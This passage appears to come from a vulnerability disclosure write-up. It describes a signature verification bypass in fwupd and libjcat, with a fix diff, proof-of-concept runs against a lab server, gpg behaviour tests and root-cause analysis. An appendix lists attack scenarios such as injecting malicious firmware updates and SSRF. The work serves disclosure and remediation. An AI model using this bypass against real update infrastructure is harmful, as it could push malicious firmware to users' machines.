+ "no signatures from libgpgme");
+ return NULL;
+ }
/* look at each signature */
for (s = result->signatures; s != NULL ; s = s->next ) {
g_debug ("returned signature fingerprint %s", s->fpr);
if (!fu_keyring_gpg_check_signature (s, error))
return NULL;
/* save details about the key for the result */
if ((gint64) s->timestamp > timestamp_newest) {
timestamp_newest = (gint64) s->timestamp;
g_string_assign (authority_newest, s->fpr);
This fix was adopted in https://github.com/fwupd/fwupd/commit/21f2d12 and https://github.com/hughsie/libjcat/commit/839b89f
It would also be prudent to invert the logic of "looking at each signature". Currently, the code checks to ensure that there are zero "bad" signatures. It would be safer to instead ensure that there is at least one "good" signature.
fwupd
1.4.0 switched from using raw PGP signatures to using jcat
signatures (https://github.com/fwupd/fwupd/commit/d5aab65)
https://github.com/hughsie/libjcat says:
[libjcat] allows reading and writing gzip-compressed JSON catalog files, which can be used to store GPG, PKCS-7 and SHA-256 checksums for each file.
This provides equivalent functionality to the catalog files supported in Microsoft Windows.
An example decompressed jcat
document is as follows:
% curl -s https://cdn.fwupd.org/downloads/firmware.xml.gz.jcat | zcat | jq .
{
"JcatVersionMajor": 0,
"JcatVersionMinor": 1,
"Items": [
{
"Id": "firmware-00550-stable.xml.gz",
"AliasIds": [
"firmware.xml.gz"
],
"Blobs": [
{
"Kind": 4,
"Flags": 1,
"Timestamp": 1590595242,
"Data": "cf5d00b5c40eacd5985712cf73690798a716a9fe"
},
{
"Kind": 1,
"Flags": 1,
"Timestamp": 1590595242,
"Data": "92248e321551ef3885f432fce942540279b5c624b931b4029a5f9889c8d0452b"
},
{
"Kind": 2,
"Flags": 1,
"Timestamp": 1590595243,
"Data": "-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v2.0.22 (GNU/Linux)\n\n[... SNIP PGP signature removed... ]\n-----END PGP SIGNATURE-----\n"
},
{
"Kind": 3,
"Flags": 1,
"Timestamp": 1590595243,
"Data": "-----BEGIN PKCS7-----\n[... SNIP PKCS7 signature removed ...]\n-----END PKCS7-----\n"
}
]
}
]
}
That is, a jcat
document contains:
- Plain cryptographic hashes (e.g. SHA); and
- Signatures (PGP and/or PKCS7)
The PGP signature verification code in libjcat
was taken directly from
fwupd
(https://github.com/hughsie/libjcat/blob/0.1.2/libjcat/jcat-gpg-engine.c#L249-L287)
and so it inherited the PGP verification bypass vulnerability.
The Flask app was extended to also provide .jcat
signature documents for each
of the "Unknown Key", "Invalid Signature" and "Bypass" endpoints detailed earlier.
fwupd
v1.4.1 was installed from source.
$ fwupdmgr --version
client version: 1.4.1
compile-time dependency versions
gusb: 0.3.4
efivar: 37
daemon version: 1.4.1
When the MetadataURI
setting is pointed at the "Detached Unknown Key"
endpoint, we get a "no signatures supplied" error when refreshing the metadata:
$ grep -P '^MetadataURI' /etc/fwupd/remotes.d/lvfs.conf
MetadataURI=http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz
% fwupdmgr refresh --force
WARNING: The daemon has loaded 3rd party code and is no longer supported by the upstream developers!
Fetching signature http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz.jcat
Downloading… [***************************************]
Fetching metadata http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz
Failed to update metadata for lvfs: signatures were required, but none supplied
When the MetadataURI
setting is pointed at the "Detached Bad Signature"
endpoint, we get the same error when refreshing the metadata:
$ grep -P '^MetadataURI' /etc/fwupd/remotes.d/lvfs.conf
MetadataURI=http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz
$ fwupdmgr refresh --force
WARNING: The daemon has loaded 3rd party code and is no longer supported by the upstream developers!
Fetching signature http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz.jcat
Downloading… [***************************************]
Fetching metadata http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz
Failed to update metadata for lvfs: signatures were required, but none supplied
Finally, when the MetadataURI
setting is pointed at the "Bypass" endpoint,
the signature verification succeeds and the XML is honoured. We find that the
XML has been installed in /var/lib/fwupd/
$ grep -P '^MetadataURI' /etc/fwupd/remotes.d/lvfs.conf
MetadataURI=http://172.17.24.1:4444/bypass/firmware.xml.gz
$ fwupdmgr refresh --force
WARNING: The daemon has loaded 3rd party code and is no longer supported by the upstream developers!
Fetching signature http://172.17.24.1:4444/bypass/firmware.xml.gz.jcat
Downloading… [***************************************]
Fetching metadata http://172.17.24.1:4444/bypass/firmware.xml.gz
Successfully downloaded new metadata: 0 local devices supported
% ls -la /var/lib/fwupd/remotes.d/lvfs/metadata.xml.gz
-rw-r--r-- 1 root root 84 May 28 15:18 /var/lib/fwupd/remotes.d/lvfs/metadata.xml.gz
$ zcat /var/lib/fwupd/remotes.d/lvfs/metadata.xml.gz
<?xml version="1.0" encoding="ISO-8859-1"?>
<poc>&fwupd_poc;</poc>
Because the vulnerable code was taken from fwupd
, the recommended fix is the
same as above.
Appendix A - Theoretical attack scenarios for the S3 bucket takeover and signature verification bypass
Possible attack scenarios and further research opportunities:
- Redirect clients to a large download (e.g. Operating System ISOs) causing high bandwidth and memory/disk space usage
- Serve to clients the entire script of the Bee Movie
- Redirect clients to cleartext HTTP and serve up EICAR or malware IOC's, triggering IDS systems with false-positives
- Redirect clients from S3 to some dynamic attack infrastructure which could:
- Proxy through to the genuine LVFS CDN (Doing fixups as needed to have the older clients accept the new metadata)
- Observe which firmware updates are downloaded from which IP addresses
- Identify "hot" firmwares for malicious firmware development
- Inject malicious updates for these firmwares/devices
- Redirect clients to localhost or the internal network, using it as an SSRF primitive
- Audit the codepaths that run as root - the XML/AppStream parsing code;
.cab
parsing code; and firmware flashing code. Vulnerabilities in these codepaths could theoretically lead to RCE as root on legacyfwupd
clients.
PGP, and hence gnupg
, supports distinct "types" of signatures:
- Normal signatures, in which the data being signed and the signature of the data are both encapsulated in a self-contained machine-readable PGP container
- You may use just the signature container alone to verify the signature against the embedded data
- You may use just the signature container alone to retrieve ("decrypt") the original data
- Cleartext signatures, in which the data being signed and the signature of the data are both encapsulated in a self-contained PGP container which is machine-readable, but also human-readable without special software
- You may use just the signature container alone to verify the signature against the embedded data
- You may use just the signature container alone to view the original data. It's there in plain sight.
- Detached signatures, in which only the signature of the data is encapsulated in a machine-readable PGP container.
- You cannot use just the signature container alone to verify the signature. You also need a copy of the data as a separate file.
- You cannot use just the signature container alone to read the data that was signed. The data is always in a separate file.
Contains Original Data | Can Validate Signature By Itself | |
---|---|---|
Normal Signature | Encoded | Yes |
Cleartext Signature | Clear Text | Yes |
Detached Signature | No (Separate data file) | No (Needs separate data file) |
You can produce a normal signature using gpg --sign
$ echo 'Hello, world!' | gpg --sign --armor --local-user 'Test Key'
-----BEGIN PGP MESSAGE-----
owEBawGU/pANAwAKAeRlCte1i0n+AcsUYgBeuMkxSGVsbG8sIHdvcmxkIQqJAUME
AAEKAC0WIQT2O4y/zuE+BX9LYKvkZQrXtYtJ/gUCXrjJMQ8cdGVzdEBsb2NhbGhv
c3QACgkQ5GUK17WLSf7Bjwf9HcsrRLehE8a8j3IfZZ6rcnmk5i0ef/gAHJKpn92h
8IkqTMUr7GFGtNg9zXy81IaEXa6KL/lORv7E68D80fqc1WhQjcPr8AxiV+oVWrqF
iETk1MUnx4wjDM/j+/02sdwRmv/RHTiPd7RWKC56FmRt4OvhGhfl9TdAiU6dhVox
3cUJpJxrq26ApcB/qn3UZUvpKvrt874MG5oP5c/OHX8V6V+qg+uFqWRnGix7QhnL
8f4IPBbqZogvVCNZx8NDBMOGkwRNx2WvvyO1iP6RiRkjTboggEXIcloEvQFEVF9A
dMndUu4oGMX9or2TZgyQvxw4Kzy2lVu51NNJGsmOPk4EZg==
=21TA
-----END PGP MESSAGE-----
(Note that the ASCII-armored blob typically starts/ends with "PGP MESSAGE" markers)
You can view the structure of a normal signature using gpg --list-packets
$ echo 'Hello, world!' | gpg --sign --armor --local-user 'Test Key' | gpg --list-packets
# off=0 ctb=a3 tag=8 hlen=1 plen=0 indeterminate
:compressed packet: algo=1
# off=2 ctb=90 tag=4 hlen=2 plen=13
:onepass_sig packet: keyid E4650AD7B58B49FE
version 3, sigclass 0x00, digest 10, pubkey 1, last=1
# off=17 ctb=cb tag=11 hlen=2 plen=20 new-ctb
:literal data packet:
mode b (62), created 1589168439, name="",
raw data: 14 bytes
# off=39 ctb=89 tag=2 hlen=3 plen=323
:signature packet: algo 1, keyid E4650AD7B58B49FE
version 4, created 1589168439, md5len 0, sigclass 0x00
digest algo 10, begin of digest cf 6e
hashed subpkt 33 len 21 (issuer fpr v4 F63B8CBFCEE13E057F4B60ABE4650AD7B58B49FE)
hashed subpkt 2 len 4 (sig created 2020-05-11)
hashed subpkt 28 len 14 (signer's user ID)
subpkt 16 len 8 (issuer key ID E4650AD7B58B49FE)
data: [2045 bits]
(Note that the structure contains both a "literal data packet" and a "signature packet")
You can --verify
a normal signature using only the signature itself:
$ echo 'Hello, world!' | gpg --sign --armor --local-user 'Test Key' | gpg --verify
gpg: Signature made Mon 11 May 2020 13:40:48 AEST
gpg: using RSA key F63B8CBFCEE13E057F4B60ABE4650AD7B58B49FE
gpg: issuer "test@localhost"
gpg: Good signature from "Test Key <test@localhost>" [ultimate]
You can retrieve the data embedded within a normal signature itself using --decrypt
:
$ echo 'Hello, world!' | gpg --sign --armor --local-user 'Test Key' | gpg --decrypt
Hello, world!
gpg: Signature made Mon 11 May 2020 13:40:44 AEST
gpg: using RSA key F63B8CBFCEE13E057F4B60ABE4650AD7B58B49FE
gpg: issuer "test@localhost"
gpg: Good signature from "Test Key <test@localhost>" [ultimate]
(Note that no actual decryption is happening. Think of it as more of a "decode" operation)
You can produce a cleartext signature using gpg --clear-sign
$ echo 'Hello, world!' | gpg --clear-sign --local-user 'Test Key'
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Hello, world!
-----BEGIN PGP SIGNATURE-----
iQFDBAEBCgAtFiEE9juMv87hPgV/S2Cr5GUK17WLSf4FAl64z5YPHHRlc3RAbG9j
YWxob3N0AAoJEORlCte1i0n+UgwH/25ldMaAbu/E0CLK8Czc/2MM9oPUnLwcVS7X
6Eo4JZqqBrRcKypFzaMi0bBdqLd3YxHkOz5t0oagNoV+IkImlZ40itIHQ9eq7KTW
L3v2Usk/vyPE4KP82i3//Illx3WBOD5XkeIhcuWGU2jLashg1401xEcM4brxDGAQ
n/kePJz8v5JoTH7c9/SogtyMWLX00DPhDrFiQzAGWSXE07qHmZh6gTuDgDnQC9V+
Z+Hk+3n8z1sSUZAWtzqEbKtJke7kNoleB/9wHDN+oDWfByE+sMnz8kNRm/9Keu4+
uthXWSyrHHHIhSdKauNUWLKDU3q0eLuY4l0uBnxpZTghobrwmxU=
=FNSX
-----END PGP SIGNATURE-----
(Note that the output contains both the original data, clearly visible, as well as the signature)
You can --verify
a cleartext signature using only the signature itself:
$ echo 'Hello, world!' | gpg --clear-sign --local-user 'Test Key' | gpg --verify
gpg: Signature made Mon 11 May 2020 14:19:33 AEST
gpg: using RSA key F63B8CBFCEE13E057F4B60ABE4650AD7B58B49FE
gpg: issuer "test@localhost"
gpg: Good signature from "Test Key <test@localhost>" [ultimate]
You can produce a detached signature using gpg --detach-sign
$ echo 'Hello, world!' | gpg --detach-sign --armor --local-user 'Test Key'
-----BEGIN PGP SIGNATURE-----
iQFDBAABCgAtFiEE9juMv87hPgV/S2Cr5GUK17WLSf4FAl640xcPHHRlc3RAbG9j
YWxob3N0AAoJEORlCte1i0n+4mcH/A/HQBHdM5Turv/QVeHZcTYir/cXX0GPJEmy
+oUj8/H+eAMfIYzSEgfZZ+BgABA4854FSfiewiZJSP+QofwT5fVNQukZ6+vE4xnH
bb4NQlYSISivhlAlIEm3Z5y48wZj16/inRlg2KHoFKx6hcGjts2hmoX3VL1NoESa
e4nporPK942BB3pwKo+vPxMFfCB74RYOyi3rj86bqbAZgkwRCt9JIQsXEgkQhU6v
7/FZOLcGkb40AFPE3uYh2qFwdym6+wp4mP7VBJpxz2vgGQN97PjHrCZwHnRz3ROs
g/DFTcMz2k6YCGiEmS+TxZo5CoFx71cj/ERxMznVdHAjfhLFO3c=
=3e0Y
-----END PGP SIGNATURE-----
(Note that the ASCII-armored blob typically starts/ends with "PGP SIGNATURE" markers, as opposed to the normal signature which typically starts/ends with "PGP MESSAGE" markers)
You can view the structure of a detached signature using gpg --list-packets
$ echo 'Hello, world!' | gpg --detach-sign --armor --local-user 'Test Key' | gpg --list-packets
# off=0 ctb=89 tag=2 hlen=3 plen=323
:signature packet: algo 1, keyid E4650AD7B58B49FE
version 4, created 1589171067, md5len 0, sigclass 0x00
digest algo 10, begin of digest cb 02
hashed subpkt 33 len 21 (issuer fpr v4 F63B8CBFCEE13E057F4B60ABE4650AD7B58B49FE)
hashed subpkt 2 len 4 (sig created 2020-05-11)
hashed subpkt 28 len 14 (signer's user ID)
subpkt 16 len 8 (issuer key ID E4650AD7B58B49FE)
data: [2043 bits]
(Note that the structure contains only a "signature packet". The normal signature also contained a "literal data packet")
You cannot --verify
a detached signature using only the signature itself:
$ echo 'Hello, world!' | gpg --detach-sign --armor --local-user 'Test Key' | gpg --verify
gpg: no signed data
gpg: can't hash datafile: No data
When verifying a detached signature, you must pass two arguments to --verify
:
- The detached signature file
- The original data file
We can use bash <(process substitution)
to do so:
$ gpg --verify <(echo 'Hello, world!' | gpg --detach-sign --armor --local-user 'Test Key') <(echo 'Hello, world!')
gpg: Signature made Mon 11 May 2020 14:28:18 AEST
gpg: using RSA key F63B8CBFCEE13E057F4B60ABE4650AD7B58B49FE
gpg: issuer "test@localhost"
gpg: Good signature from "Test Key <test@localhost>" [ultimate]
- Normal/cleartext signatures contain the signature and the original data
- Detached signatures only contain the signature
- Verification of a normal/cleartext signature is done using just one argument -
gpg --verify <filename>
- Verification of a detached signature is done using two arguments -
gpg --verify <signature_filename> <original_data_filename>
To recap, the fwupd
signature bypass vulnerability depended on two things:
- The verification pattern in
fwupd
which assumes that ifgpgme_op_verify()
andgpgme_op_verify_result()
execute successfully, thengpgme_op_verify_result()
will have returned a non-zero number of signatures that can be examined - An edge-case in
libgpgme
where doinggpgme_op_verify()
against a non-detached signature as if it were a detached signature causes a successful verification but with a result of zero signatures
While it can be argued that the verification pattern in fwupd
is fragile,
what is the root cause? Could the edge-case be handled better in libgpgme
?
Does it even make sense for a libgpgme
-based verification to be considered
"successful" if it returns zero signatures?
libgpgme
essentially wraps the command-line gnupg
utility. Running fwupd
under strace
and then performing a metadata refresh against the "bypass" POC
endpoint shows some interesting child processes being spawned:
$ sudo strace -f -e execve /usr/libexec/fwupd/fwupd
[... SNIP ...]
strace: Process 16835 attached
[pid 16835] execve("/usr/bin/gpg", ["gpg", "--enable-special-filenames", "--batch", "--no-sk-comments", "--homedir", "/var/lib/fwupd/gnupg", "--status-fd", "24", "--no-tty", "--charset", "utf8", "--enable-progress-filter", "--exit-on-status-write-error", "--ttyname", "/dev/pts/2", "--ttytype", "screen-256color", "--logger-fd", "26", "--import", "--", "-&27"], 0x55c555d1a590 /* 15 vars */) = 0
[pid 16835] +++ exited with 0 +++
strace: Process 16836 attached
[pid 16836] +++ exited with 0 +++
[pid 16806] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=16836, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
strace: Process 16837 attached
[pid 16837] execve("/usr/bin/gpg", ["gpg", "--enable-special-filenames", "--batch", "--no-sk-comments", "--homedir", "/var/lib/fwupd/gnupg", "--status-fd", "24", "--no-tty", "--charset", "utf8", "--enable-progress-filter", "--exit-on-status-write-error", "--ttyname", "/dev/pts/2", "--ttytype", "screen-256color", "--logger-fd", "26", "--import", "--", "-&27"], 0x55c555d1a590 /* 15 vars */) = 0
[pid 16837] +++ exited with 0 +++
strace: Process 16838 attached
[pid 16838] +++ exited with 0 +++
[pid 16806] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=16838, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
strace: Process 16839 attached
[pid 16839] execve("/usr/bin/gpg", ["gpg", "--enable-special-filenames", "--batch", "--no-sk-comments", "--homedir", "/var/lib/fwupd/gnupg", "--status-fd", "23", "--no-tty", "--charset", "utf8", "--enable-progress-filter", "--exit-on-status-write-error", "--ttyname", "/dev/pts/2", "--ttytype", "screen-256color", "--logger-fd", "25", "--verify", "--", "-&26", "-&28"], 0x55c555d1a590 /* 15 vars */) = 0
[pid 16839] +++ exited with 2 +++
strace: Process 16840 attached
[pid 16840] +++ exited with 0 +++
[pid 16806] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=16840, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
strace: Process 16841 attached
[pid 16841] execve("/usr/bin/gpg", ["gpg", "--enable-special-filenames", "--batch", "--no-sk-comments", "--homedir", "/var/lib/fwupd/gnupg", "--status-fd", "23", "--no-tty", "--charset", "utf8", "--enable-progress-filter", "--exit-on-status-write-error", "--ttyname", "/dev/pts/2", "--ttytype", "screen-256color", "--logger-fd", "25", "--verify", "--", "-&26", "-&28"], 0x55c555d1a590 /* 15 vars */) = 0
[pid 16841] +++ exited with 2 +++
We see:
- Two invocations of
gpg --import
to import the LVFS PGP public keys. They exited with status 0. - Two invocations of
gpg --verify
, each one against two file descriptors. They exited with status 2.
The invocations of gpg --verify
are curious. They specify --status-fd <n>
arguments. This is to ask gpg
to give machine-readable results on a
particular file descriptor, which libgpgme
would use to get the outcome of
the signature verification.
We can do our own invocations of gpg --verify
against the real LVFS metadata,
the "invalid key" POC endpoint, the "bad signature" POC endpoint, and the
"bypass" POC endpoint. We can examine the exit code, --status-fd
and
--logger-fd
outputs to get an understanding of what libgpgme
would be seeing.
Test script:
#!/bin/bash
function run_test {
echo "[+] $1 ($2)"
echo
file_status=$(mktemp)
file_logger=$(mktemp)
gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg \
--status-fd 3 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error \
--ttyname /dev/pts/2 --ttytype screen-256color --logger-fd 4 --verify -- \
<(curl -s $2.asc) \
<(curl -s $2) \
3>$file_status 4>$file_logger
echo "exit status: $?"
echo
echo "status-fd:"
cat $file_status
echo
echo "logger-fd:"
cat $file_logger
echo
echo
}
run_test LVFS https://cdn.fwupd.org/downloads/firmware.xml.gz
run_test "POC: Unknown key" http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz
run_test "POC: Bad signature" http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz
run_test "POC: Bypass" http://172.17.24.1:4444/bypass/firmware.xml.gz
Running it:
# ./run_gpg_verifications.sh
[+] LVFS (https://cdn.fwupd.org/downloads/firmware.xml.gz)
exit status: 0
status-fd:
[GNUPG:] PROGRESS /dev/fd/63 ? 0 0 B
[GNUPG:] PROGRESS /dev/fd/63 ? 490 0 B
[GNUPG:] PROGRESS /dev/fd/62 ? 0 0 B
[GNUPG:] PROGRESS /dev/fd/62 ? 355629 0 B
[GNUPG:] NEWSIG
[GNUPG:] KEY_CONSIDERED 3FC6B804410ED0840D8F2F9748A6D80E4538BAC2 0
[GNUPG:] SIG_ID QxW06/JZAL8klpNNNJlOmVVxkqg 2020-05-27 1590595243
[GNUPG:] KEY_CONSIDERED 3FC6B804410ED0840D8F2F9748A6D80E4538BAC2 0
[GNUPG:] GOODSIG 48A6D80E4538BAC2 Linux Vendor Firmware Service <sign@fwupd.org>
[GNUPG:] VALIDSIG 3FC6B804410ED0840D8F2F9748A6D80E4538BAC2 2020-05-27 1590595243 0 4 0 1 2 00 3FC6B804410ED0840D8F2F9748A6D80E4538BAC2
[GNUPG:] TRUST_UNDEFINED 0 pgp
logger-fd:
gpg: Signature made Thu 28 May 2020 02:00:43 AEST
gpg: using RSA key 48A6D80E4538BAC2
gpg: Good signature from "Linux Vendor Firmware Service <sign@fwupd.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 3FC6 B804 410E D084 0D8F 2F97 48A6 D80E 4538 BAC2
[+] POC: Unknown key (http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz)
exit status: 2
status-fd:
[GNUPG:] PROGRESS /dev/fd/63 ? 0 0 B
[GNUPG:] PROGRESS /dev/fd/63 ? 313 0 B
[GNUPG:] PROGRESS /dev/fd/62 ? 0 0 B
[GNUPG:] PROGRESS /dev/fd/62 ? 84 0 B
[GNUPG:] NEWSIG
[GNUPG:] ERRSIG CB4DC4740BE98AE5 1 10 00 1590649082 9 3B90339A2EA1E67A85DE56CDCB4DC4740BE98AE5
[GNUPG:] NO_PUBKEY CB4DC4740BE98AE5
logger-fd:
gpg: Signature made Thu 28 May 2020 16:58:02 AEST
gpg: using RSA key 3B90339A2EA1E67A85DE56CDCB4DC4740BE98AE5
gpg: Can't check signature: No public key
[+] POC: Bad signature (http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz)
exit status: 1
status-fd:
[GNUPG:] PROGRESS /dev/fd/63 ? 0 0 B
[GNUPG:] PROGRESS /dev/fd/63 ? 490 0 B
[GNUPG:] PROGRESS /dev/fd/62 ? 0 0 B
[GNUPG:] PROGRESS /dev/fd/62 ? 84 0 B
[GNUPG:] NEWSIG
[GNUPG:] KEY_CONSIDERED 3FC6B804410ED0840D8F2F9748A6D80E4538BAC2 0
[GNUPG:] KEY_CONSIDERED 3FC6B804410ED0840D8F2F9748A6D80E4538BAC2 0
[GNUPG:] BADSIG 48A6D80E4538BAC2 Linux Vendor Firmware Service <sign@fwupd.org>
[GNUPG:] FAILURE gpg-exit 33554433
logger-fd:
gpg: Signature made Thu 28 May 2020 02:00:43 AEST
gpg: using RSA key 48A6D80E4538BAC2
gpg: BAD signature from "Linux Vendor Firmware Service <sign@fwupd.org>" [unknown]
[+] POC: Bypass (http://172.17.24.1:4444/bypass/firmware.xml.gz)
exit status: 2
status-fd:
[GNUPG:] PROGRESS /dev/fd/63 ? 0 0 B
[GNUPG:] PROGRESS /dev/fd/63 ? 423 0 B
logger-fd:
gpg: not a detached signature
Results:
Exit Status | --status-fd Output |
--logger-fd Output |
|
---|---|---|---|
LVFS | 0 | PROGRESS , GOODSIG , VALIDSIG |
Key not trusted |
POC: Unknown Key | 2 | PROGRESS , ERRSIG , NO_PUBKEY |
No public key |
POC: Bad Signature | 1 | PROGRESS , BADSIG |
Bad signature |
POC: Bypass | 2 | Nothing aside from PROGRESS |
Not a detached signature |
What is curious is that when attempting to --validate
the "bypass" data,
gpg
gives a non-zero exit status and complains loudly to --logger-fd
about
the input data being invalid ("not a detached signature"). However, there is no
corresponding --status-fd
machine-readable output to indicate the error or
the presence of any signatures, good or bad. This lack of reporting on
--status-fd
is a possible cause for why libgpgme
reports seeing zero
signatures in such a case.
- Should
gpg
complain on--status-fd
when trying to verify a non-detached signature as if it were detached? Maybe. - Should
gpgme_op_verify()
notice the non-zero exit status and lack of signatures, and give something other thanGPG_ERR_NO_ERROR
to its caller? In my opinion, yes.
And so this could be considered a vulnerability in either gpg
or libgpgme
.
During the disclosure process, I contacted security@gnupg.org. The developers on duty decided that this would not be handled as a vulnerability.
Developers who use libgpgme
should take note and ensure that their signature
verification logic defends against a zero-signature result.
Update 10 June 2020: GnuPG have updated their documentation following the disclosure of this issue. See https://dev.gnupg.org/rM88f3202521d422d94bfd79e61bde00707d6f28c9